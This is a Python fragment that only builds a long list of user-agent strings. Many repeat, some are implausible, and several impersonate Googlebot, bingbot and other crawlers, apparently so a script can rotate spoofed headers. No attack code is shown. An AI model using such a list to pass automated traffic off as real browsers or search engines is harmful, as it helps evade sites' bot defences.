headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 